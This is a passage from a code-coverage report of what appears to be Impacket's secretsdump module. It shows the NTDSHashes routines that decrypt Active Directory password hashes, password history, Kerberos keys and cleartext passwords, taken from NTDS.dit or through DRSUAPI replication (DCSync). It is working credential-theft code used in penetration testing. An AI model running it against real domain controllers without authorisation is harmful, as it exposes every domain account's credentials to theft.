2072 if len(plainText) > 24: 2072 ↛ 2038line 2072 didn't jump to line 2038, because the condition on line 2072 was never false

2073 haveInfo = True 

2074 if domain is not None: 

2075 userName = '%s\\%s' % (domain, userName) 

2076 

2077 if haveInfo is True: 

2078 try: 

2079 userProperties = samr.USER_PROPERTIES(plainText) 

2080 except: 

2081 # On some old w2k3 there might be user properties that don't 

2082 # match [MS-SAMR] structure, discarding them 

2083 return 

2084 propertiesData = userProperties['UserProperties'] 

2085 for propertyCount in range(userProperties['PropertyCount']): 

2086 userProperty = samr.USER_PROPERTY(propertiesData) 

2087 propertiesData = propertiesData[len(userProperty):] 

2088 # For now, we will only process Newer Kerberos Keys and CLEARTEXT 

2089 if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys': 

2090 propertyValueBuffer = unhexlify(userProperty['PropertyValue']) 

2091 kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer) 

2092 data = kerbStoredCredentialNew['Buffer'] 

2093 for credential in range(kerbStoredCredentialNew['CredentialCount']): 

2094 keyDataNew = samr.KERB_KEY_DATA_NEW(data) 

2095 data = data[len(keyDataNew):] 

2096 keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']] 

2097 

2098 if keyDataNew['KeyType'] in self.KERBEROS_TYPE: 2098 ↛ 2101line 2098 didn't jump to line 2101, because the condition on line 2098 was never false

2099 answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue).decode('utf-8')) 

2100 else: 

2101 answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue).decode('utf-8')) 

2102 # We're just storing the keys, not printing them, to make the output more readable 

2103 # This is kind of ugly... but it's what I came up with tonight to get an ordered 

2104 # set :P. Better ideas welcomed ;) 

2105 self.__kerberosKeys[answer] = None 

2106 if keysFile is not None: 2106 ↛ 2107line 2106 didn't jump to line 2107, because the condition on line 2106 was never true

2107 self.__writeOutput(keysFile, answer + '\n') 

2108 elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT': 2108 ↛ 2111line 2108 didn't jump to line 2111, because the condition on line 2108 was never true

2109 # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property 

2110 # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password. 

2111 try: 

2112 answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le')) 

2113 except UnicodeDecodeError: 

2114 # This could be because we're decoding a machine password. Printing it hex 

2115 answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue'].decode('utf-8')) 

2116 

2117 self.__clearTextPwds[answer] = None 

2118 if clearTextFile is not None: 

2119 self.__writeOutput(clearTextFile, answer + '\n') 

2120 

2121 if clearTextFile is not None: 2121 ↛ 2122line 2121 didn't jump to line 2122, because the condition on line 2121 was never true

2122 clearTextFile.flush() 

2123 if keysFile is not None: 2123 ↛ 2124line 2123 didn't jump to line 2124, because the condition on line 2123 was never true

2124 keysFile.flush() 

2125 

2126 LOG.debug('Leaving NTDSHashes.__decryptSupplementalInfo') 

2127 

2128 def __decryptHash(self, record, prefixTable=None, outputFile=None): 

2129 LOG.debug('Entering NTDSHashes.__decryptHash') 

2130 if self.__useVSSMethod is True: 

2131 LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']]) 

2132 

2133 sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']])) 

2134 rid = sid.formatCanonical().split('-')[-1] 

2135 

2136 if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None: 2136 ↛ 2137line 2136 didn't jump to line 2137, because the condition on line 2136 was never true

2137 encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']])) 

2138 if encryptedLMHash['Header'][:4] == b'\x13\x00\x00\x00': 

2139 # Win2016 TP4 decryption is different 

2140 encryptedLMHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']])) 

2141 pekIndex = hexlify(encryptedLMHash['Header']) 

2142 tmpLMHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], 

2143 encryptedLMHash['EncryptedHash'][:16], 

2144 encryptedLMHash['KeyMaterial']) 

2145 else: 

2146 tmpLMHash = self.__removeRC4Layer(encryptedLMHash) 

2147 LMHash = self.__removeDESLayer(tmpLMHash, rid) 

2148 else: 

2149 LMHash = ntlm.LMOWFv1('', '') 

2150 

2151 if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None: 

2152 encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']])) 

2153 if encryptedNTHash['Header'][:4] == b'\x13\x00\x00\x00': 2153 ↛ 2155line 2153 didn't jump to line 2155, because the condition on line 2153 was never true

2154 # Win2016 TP4 decryption is different 

2155 encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']])) 

2156 pekIndex = hexlify(encryptedNTHash['Header']) 

2157 tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], 

2158 encryptedNTHash['EncryptedHash'][:16], 

2159 encryptedNTHash['KeyMaterial']) 

2160 else: 

2161 tmpNTHash = self.__removeRC4Layer(encryptedNTHash) 

2162 NTHash = self.__removeDESLayer(tmpNTHash, rid) 

2163 else: 

2164 NTHash = ntlm.NTOWFv1('', '') 

2165 

2166 if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: 

2167 domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] 

2168 userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) 

2169 else: 

2170 userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] 

2171 

2172 if self.__printUserStatus is True: 2172 ↛ 2174line 2172 didn't jump to line 2174, because the condition on line 2172 was never true

2173 # Enabled / disabled users 

2174 if record[self.NAME_TO_INTERNAL['userAccountControl']] is not None: 

2175 if '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '1': 

2176 userAccountStatus = 'Disabled' 

2177 elif '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '0': 

2178 userAccountStatus = 'Enabled' 

2179 else: 

2180 userAccountStatus = 'N/A' 

2181 

2182 if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None: 

2183 pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']]) 

2184 else: 

2185 pwdLastSet = 'N/A' 

2186 

2187 answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8')) 

2188 if self.__pwdLastSet is True: 2188 ↛ 2189line 2188 didn't jump to line 2189, because the condition on line 2188 was never true

2189 answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) 

2190 if self.__printUserStatus is True: 2190 ↛ 2191line 2190 didn't jump to line 2191, because the condition on line 2190 was never true

2191 answer = "%s (status=%s)" % (answer, userAccountStatus) 

2192 

2193 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) 

2194 

2195 if outputFile is not None: 2195 ↛ 2196line 2195 didn't jump to line 2196, because the condition on line 2195 was never true

2196 self.__writeOutput(outputFile, answer + '\n') 

2197 

2198 if self.__history: 2198 ↛ 2360line 2198 didn't jump to line 2360, because the condition on line 2198 was never false

2199 LMHistory = [] 

2200 NTHistory = [] 

2201 if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None: 

2202 encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']])) 

2203 tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory) 

2204 for i in range(0, len(tmpLMHistory) // 16): 

2205 LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid) 

2206 LMHistory.append(LMHash) 

2207 

2208 if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None: 

2209 encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']])) 

2210 

2211 if encryptedNTHistory['Header'][:4] == b'\x13\x00\x00\x00': 2211 ↛ 2213line 2211 didn't jump to line 2213, because the condition on line 2211 was never true

2212 # Win2016 TP4 decryption is different 

2213 encryptedNTHistory = self.CRYPTED_HASHW16( 

2214 unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']])) 

2215 pekIndex = hexlify(encryptedNTHistory['Header']) 

2216 tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], 

2217 encryptedNTHistory['EncryptedHash'], 

2218 encryptedNTHistory['KeyMaterial']) 

2219 else: 

2220 tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory) 

2221 

2222 for i in range(0, len(tmpNTHistory) // 16): 

2223 NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid) 

2224 NTHistory.append(NTHash) 

2225 

2226 for i, (LMHash, NTHash) in enumerate( 

2227 map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])): 

2228 if self.__noLMHash: 2228 ↛ 2231line 2228 didn't jump to line 2231, because the condition on line 2228 was never false

2229 lmhash = hexlify(ntlm.LMOWFv1('', '')) 

2230 else: 

2231 lmhash = hexlify(LMHash) 

2232 

2233 answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'), 

2234 hexlify(NTHash).decode('utf-8')) 

2235 if outputFile is not None: 2235 ↛ 2236line 2235 didn't jump to line 2236, because the condition on line 2235 was never true

2236 self.__writeOutput(outputFile, answer + '\n') 

2237 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) 

2238 else: 

2239 replyVersion = 'V%d' %record['pdwOutVersion'] 

2240 LOG.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 

2241 domain = None 

2242 if self.__history: 2242 ↛ 2243line 2242 didn't jump to line 2243, because the condition on line 2242 was never true

2243 LMHistory = [] 

2244 NTHistory = [] 

2245 

2246 rid = unpack('<L', record['pmsgOut'][replyVersion]['pObjects']['Entinf']['pName']['Sid'][-4:])[0] 

2247 

2248 for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']: 

2249 try: 

2250 attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) 

2251 LOOKUP_TABLE = self.ATTRTYP_TO_ATTID 

2252 except Exception as e: 

2253 LOG.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e) 

2254 LOG.debug('Exception', exc_info=True) 

2255 # Fallbacking to fixed table and hope for the best 

2256 attId = attr['attrTyp'] 

2257 LOOKUP_TABLE = self.NAME_TO_ATTRTYP 

2258 

2259 if attId == LOOKUP_TABLE['dBCSPwd']: 

2260 if attr['AttrVal']['valCount'] > 0: 2260 ↛ 2261line 2260 didn't jump to line 2261, because the condition on line 2260 was never true

2261 encrypteddBCSPwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) 

2262 encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd) 

2263 LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid) 

2264 else: 

2265 LMHash = ntlm.LMOWFv1('', '') 

2266 elif attId == LOOKUP_TABLE['unicodePwd']: 

2267 if attr['AttrVal']['valCount'] > 0: 

2268 encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) 

2269 encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd) 

2270 NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid) 

2271 else: 

2272 NTHash = ntlm.NTOWFv1('', '') 

2273 elif attId == LOOKUP_TABLE['userPrincipalName']: 

2274 if attr['AttrVal']['valCount'] > 0: 2274 ↛ 2280line 2274 didn't jump to line 2280, because the condition on line 2274 was never false

2275 try: 

2276 domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] 

2277 except: 

2278 domain = None 

2279 else: 

2280 domain = None 

2281 elif attId == LOOKUP_TABLE['sAMAccountName']: 

2282 if attr['AttrVal']['valCount'] > 0: 2282 ↛ 2289line 2282 didn't jump to line 2289, because the condition on line 2282 was never false

2283 try: 

2284 userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') 

2285 except: 

2286 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 

2287 userName = 'unknown' 

2288 else: 

2289 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 

2290 userName = 'unknown' 

2291 elif attId == LOOKUP_TABLE['objectSid']: 

2292 if attr['AttrVal']['valCount'] > 0: 2292 ↛ 2295line 2292 didn't jump to line 2295, because the condition on line 2292 was never false

2293 objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) 

2294 else: 

2295 LOG.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 

2296 objectSid = rid 

2297 elif attId == LOOKUP_TABLE['pwdLastSet']: 

2298 if attr['AttrVal']['valCount'] > 0: 2298 ↛ 2313line 2298 didn't jump to line 2313, because the condition on line 2298 was never false

2299 try: 

2300 pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0]) 

2301 except: 

2302 LOG.error('Cannot get pwdLastSet for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 

2303 pwdLastSet = 'N/A' 

2304 elif self.__printUserStatus and attId == LOOKUP_TABLE['userAccountControl']: 2304 ↛ 2305line 2304 didn't jump to line 2305, because the condition on line 2304 was never true

2305 if attr['AttrVal']['valCount'] > 0: 

2306 if (unpack('<L', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0]) & samr.UF_ACCOUNTDISABLE: 

2307 userAccountStatus = 'Disabled' 

2308 else: 

2309 userAccountStatus = 'Enabled' 

2310 else: 

2311 userAccountStatus = 'N/A' 

2312 

2313 if self.__history: 2313 ↛ 2314line 2313 didn't jump to line 2314, because the condition on line 2313 was never true

2314 if attId == LOOKUP_TABLE['lmPwdHistory']: 

2315 if attr['AttrVal']['valCount'] > 0: 

2316 encryptedLMHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) 

2317 tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory) 

2318 for i in range(0, len(tmpLMHistory) // 16): 

2319 LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid) 

2320 LMHistory.append(LMHashHistory) 

2321 else: 

2322 LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 

2323 elif attId == LOOKUP_TABLE['ntPwdHistory']: 

2324 if attr['AttrVal']['valCount'] > 0: 

2325 encryptedNTHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) 

2326 tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory) 

2327 for i in range(0, len(tmpNTHistory) // 16): 

2328 NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid) 

2329 NTHistory.append(NTHashHistory) 

2330 else: 

2331 LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 

2332 

2333 if domain is not None: 

2334 userName = '%s\\%s' % (domain, userName) 

2335 

2336 answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8')) 

2337 if self.__pwdLastSet is True: 2337 ↛ 2338line 2337 didn't jump to line 2338, because the condition on line 2337 was never true

2338 answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) 

2339 if self.__printUserStatus is True: 2339 ↛ 2340line 2339 didn't jump to line 2340, because the condition on line 2339 was never true

2340 answer = "%s (status=%s)" % (answer, userAccountStatus) 

2341 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) 

2342 

2343 if outputFile is not None: 2343 ↛ 2344line 2343 didn't jump to line 2344, because the condition on line 2343 was never true

2344 self.__writeOutput(outputFile, answer + '\n') 

2345 

2346 if self.__history: 2346 ↛ 2347line 2346 didn't jump to line 2347, because the condition on line 2346 was never true

2347 for i, (LMHashHistory, NTHashHistory) in enumerate( 

2348 map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])): 

2349 if self.__noLMHash: 

2350 lmhash = hexlify(ntlm.LMOWFv1('', '')) 

2351 else: 

2352 lmhash = hexlify(LMHashHistory) 

2353 

2354 answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'), 

2355 hexlify(NTHashHistory).decode('utf-8')) 

2356 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) 

2357 if outputFile is not None: 

2358 self.__writeOutput(outputFile, answer + '\n') 

2359 

2360 if outputFile is not None: 2360 ↛ 2361line 2360 didn't jump to line 2361, because the condition on line 2360 was never true

2361 outputFile.flush() 

2362 

2363 LOG.debug('Leaving NTDSHashes.__decryptHash') 

2364 

2365 def dump(self): 

2366 hashesOutputFile = None 

2367 keysOutputFile = None 

2368 clearTextOutputFile = None 

2369 

2370 if self.__useVSSMethod is True: 

2371 if self.__NTDS is None: 2371 ↛ 2373line 2371 didn't jump to line 2373, because the condition on line 2371 was never true

2372 # No NTDS.dit file provided and were asked to use VSS 

2373 return 

2374 else: 

2375 if self.__NTDS is None: 2375 ↛ 2396line 2375 didn't jump to line 2396, because the condition on line 2375 was never false

2376 # DRSUAPI method, checking whether target is a DC 

2377 try: 

2378 if self.__remoteOps is not None: 2378 ↛ 2390line 2378 didn't jump to line 2390, because the condition on line 2378 was never false

2379 try: 

2380 self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1]) 

2381 except: 

2382 if os.getenv('KRB5CCNAME') is not None and self.__justUser is not None: 

2383 # RemoteOperations failed. That might be because there was no way to log into the 

2384 # target system. We just have a last resort. Hope we have tickets cached and that they 

2385 # will work 

2386 pass 

2387 else: 

2388 raise 

2389 else: 

2390 raise Exception('No remote Operations available') 

2391 except Exception as e: 

2392 LOG.debug('Exiting NTDSHashes.dump() because %s' % e) 

2393 # Target's not a DC 

2394 return 

2395 

2396 try: 

2397 # Let's check if we need to save results in a file 

2398 if self.__outputFileName is not None: 2398 ↛ 2399line 2398 didn't jump to line 2399, because the condition on line 2398 was never true

2399 LOG.debug('Saving output to %s' % self.__outputFileName) 

2400 # We have to export. Are we resuming a session? 

2401 if self.__resumeSession.hasResumeData(): 

2402 mode = 'a+' 

2403 else: 

2404 mode = 'w+' 

2405 hashesOutputFile = openFile(self.__outputFileName+'.ntds',mode) 

2406 if self.__justNTLM is False: 

2407 keysOutputFile = openFile(self.__outputFileName+'.ntds.kerberos',mode) 

2408 clearTextOutputFile = openFile(self.__outputFileName+'.ntds.cleartext',mode) 

2409 

2410 LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)') 

2411 if self.__useVSSMethod: 

2412 # We start getting rows from the table aiming at reaching 

2413 # the pekList. If we find users records we stored them 

2414 # in a temp list for later process. 

2415 self.__getPek() 

2416 if self.__PEK is not None: 2416 ↛ 2583line 2416 didn't jump to line 2583, because the condition on line 2416 was never false

2417 LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS) 

2418 # First of all, if we have users already cached, let's decrypt their hashes 

2419 for record in self.__tmpUsers: 2419 ↛ 2420line 2419 didn't jump to line 2420, because the loop on line 2419 never started

2420 try: 

2421 self.__decryptHash(record, outputFile=hashesOutputFile) 

2422 if self.__justNTLM is False: 

2423 self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile) 

2424 except Exception as e: 

2425 LOG.debug('Exception', exc_info=True) 

2426 try: 

2427 LOG.error( 

2428 "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) 

2429 LOG.error(str(e)) 

2430 pass 

2431 except: 

2432 LOG.error("Error while processing row!") 

2433 LOG.error(str(e)) 

2434 pass 

2435 

2436 # Now let's keep moving through the NTDS file and decrypting what we find 

2437 while True: 

2438 try: 

2439 record = self.__ESEDB.getNextRow(self.__cursor, filter_tables=self.__filter_tables_usersecret) 

2440 except: 

2441 LOG.error('Error while calling getNextRow(), trying the next one') 

2442 continue 

2443 

2444 if record is None: 

2445 break 

2446 try: 

2447 if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: 

2448 self.__decryptHash(record, outputFile=hashesOutputFile) 

2449 if self.__justNTLM is False: 2449 ↛ 2438line 2449 didn't jump to line 2438, because the condition on line 2449 was never false

2450 self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile) 

2451 except Exception as e: 

2452 LOG.debug('Exception', exc_info=True) 

2453 try: 

2454 LOG.error( 

2455 "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) 

2456 LOG.error(str(e)) 

2457 pass 

2458 except: 

2459 LOG.error("Error while processing row!") 

2460 LOG.error(str(e)) 

2461 pass 

2462 else: 

2463 LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets') 

2464 status = STATUS_MORE_ENTRIES 

2465 enumerationContext = 0 

2466 

2467 # Do we have to resume from a previously saved session? 

2468 if self.__resumeSession.hasResumeData(): 2468 ↛ 2469line 2468 didn't jump to line 2469, because the condition on line 2468 was never true

2469 resumeSid = self.__resumeSession.getResumeData() 

2470 LOG.info('Resuming from SID %s, be patient' % resumeSid) 

2471 else: 

2472 resumeSid = None 

2473 # We do not create a resume file when asking for a single user 

2474 if self.__justUser is None: 

2475 self.__resumeSession.beginTransaction() 

2476 

2477 if self.__justUser is not None: 

2478 # Depending on the input received, we need to change the formatOffered before calling 

2479 # DRSCrackNames. 

2480 # There are some instances when you call -just-dc-user and you receive ERROR_DS_NAME_ERROR_NOT_UNIQUE 

2481 # That's because we don't specify the domain for the user (and there might be duplicates) 

2482 # Always remember that if you specify a domain, you should specify the NetBIOS domain name, 

2483 # not the FQDN. Just for this time. It's confusing I know, but that's how this API works. 

2484 if self.__justUser.find('\\') >=0 or self.__justUser.find('/') >= 0: 2484 ↛ 2488line 2484 didn't jump to line 2488, because the condition on line 2484 was never false

2485 self.__justUser = self.__justUser.replace('/','\\') 

2486 formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME 

2487 else: 

2488 formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN 

2489 

2490 crackedName = self.__remoteOps.DRSCrackNames(formatOffered, 

2491 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, 

2492 name=self.__justUser) 

2493 

2494 if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: 2494 ↛ 2505line 2494 didn't jump to line 2505, because the condition on line 2494 was never false

2495 if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: 2495 ↛ 2496line 2495 didn't jump to line 2496, because the condition on line 2495 was never true

2496 raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[ 

2497 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']]) 

2498 

2499 userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) 

2500 #userRecord.dump() 

2501 replyVersion = 'V%d' % userRecord['pdwOutVersion'] 

2502 if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: 2502 ↛ 2503line 2502 didn't jump to line 2503, because the condition on line 2502 was never true

2503 raise Exception('DRSGetNCChanges didn\'t return any object!') 

2504 else: 

2505 LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % ( 

2506 crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser)) 

2507 try: 

2508 self.__decryptHash(userRecord, 

2509 userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'], 

2510 hashesOutputFile) 

2511 if self.__justNTLM is False: 2511 ↛ 2580line 2511 didn't jump to line 2580, because the condition on line 2511 was never false

2512 self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][ 

2513 'pPrefixEntry'], keysOutputFile, clearTextOutputFile) 

2514 

2515 except Exception as e: 

2516 LOG.error("Error while processing user!") 

2517 LOG.debug("Exception", exc_info=True) 

2518 LOG.error(str(e)) 

2519 else: 

2520 while status == STATUS_MORE_ENTRIES: 

2521 resp = self.__remoteOps.getDomainUsers(enumerationContext) 

2522 

2523 for user in resp['Buffer']['Buffer']: 

2524 userName = user['Name'] 

2525 

2526 userSid = "%s-%i" % (self.__remoteOps.getDomainSid(), user['RelativeId']) 

2527 if resumeSid is not None: 2527 ↛ 2529line 2527 didn't jump to line 2529, because the condition on line 2527 was never true

2528 # Means we're looking for a SID before start processing back again 

2529 if resumeSid == userSid: 

2530 # Match!, next round we will back processing 

2531 LOG.debug('resumeSid %s reached! processing users from now on' % userSid) 

2532 resumeSid = None 

2533 else: 

2534 LOG.debug('Skipping SID %s since it was processed already' % userSid) 

2535 continue 

2536 

2537 # Let's crack the user sid into DS_FQDN_1779_NAME 

2538 # In theory I shouldn't need to crack the sid. Instead 

2539 # I could use it when calling DRSGetNCChanges inside the DSNAME parameter. 

2540 # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so. 

2541 crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, 

2542 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, 

2543 name=userSid) 

2544 

2545 if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: 2545 ↛ 2557line 2545 didn't jump to line 2557, because the condition on line 2545 was never false

2546 if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: 2546 ↛ 2547line 2546 didn't jump to line 2547, because the condition on line 2546 was never true

2547 LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[ 

2548 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']]) 

2549 break 

2550 userRecord = self.__remoteOps.DRSGetNCChanges( 

2551 crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) 

2552 # userRecord.dump() 

2553 replyVersion = 'V%d' % userRecord['pdwOutVersion'] 

2554 if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: 2554 ↛ 2555line 2554 didn't jump to line 2555, because the condition on line 2554 was never true

2555 raise Exception('DRSGetNCChanges didn\'t return any object!') 

2556 else: 

2557 LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % ( 

2558 crackedName['pmsgOut']['V1']['pResult']['cItems'], userName)) 

2559 try: 

2560 self.__decryptHash(userRecord, 

2561 userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'], 

2562 hashesOutputFile) 

2563 if self.__justNTLM is False: 2563 ↛ 2573line 2563 didn't jump to line 2573, because the condition on line 2563 was never false

2564 self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][ 

2565 'pPrefixEntry'], keysOutputFile, clearTextOutputFile) 

2566 

2567 except Exception as e: 

2568 LOG.error("Error while processing user!") 

2569 LOG.debug("Exception", exc_info=True) 

2570 LOG.error(str(e)) 

2571 

2572 # Saving the session state 

2573 self.__resumeSession.writeResumeData(userSid) 

2574 

2575 enumerationContext = resp['EnumerationContext'] 

2576 status = resp['ErrorCode'] 

2577 

2578 # Everything went well and we covered all the users 

2579 # Let's remove the resume file is we had created it 

2580 if self.__justUser is None: 

2581 self.__resumeSession.clearResumeData() 

2582 

2583 LOG.debug("Finished processing and printing user's hashes, now printing supplemental information") 

2584 # Now we'll print the Kerberos keys. So we don't mix things up in the output. 

2585 if len(self.__kerberosKeys) > 0: 2585 ↛ 2595line 2585 didn't jump to line 2595, because the condition on line 2585 was never false

2586 if self.__useVSSMethod is True: 

2587 LOG.info('Kerberos keys from %s ' % self.__NTDS) 

2588 else: 

2589 LOG.info('Kerberos keys grabbed') 

2590 

2591 for itemKey in list(self.__kerberosKeys.keys()): 

2592 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_KERBEROS, itemKey) 

2593 

2594 # And finally the cleartext pwds 

2595 if len(self.__clearTextPwds) > 0: 2595 ↛ 2596line 2595 didn't jump to line 2596, because the condition on line 2595 was never true

2596 if self.__useVSSMethod is True: 

2597 LOG.info('ClearText password from %s ' % self.__NTDS) 

2598 else: 

2599 LOG.info('ClearText passwords grabbed') 

2600 

2601 for itemKey in list(self.__clearTextPwds.keys()): 

2602 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_CLEARTEXT, itemKey) 

2603 finally: 

2604 # Resources cleanup 

2605 if hashesOutputFile is not None: 2605 ↛ 2606line 2605 didn't jump to line 2606, because the condition on line 2605 was never true

2606 hashesOutputFile.close() 

2607 

2608 if keysOutputFile is not None: 2608 ↛ 2609line 2608 didn't jump to line 2609, because the condition on line 2608 was never true

2609 keysOutputFile.close() 

2610 

2611 if clearTextOutputFile is not None: 2611 ↛ 2612line 2611 didn't jump to line 2612, because the condition on line 2611 was never true

2612 clearTextOutputFile.close() 

2613 

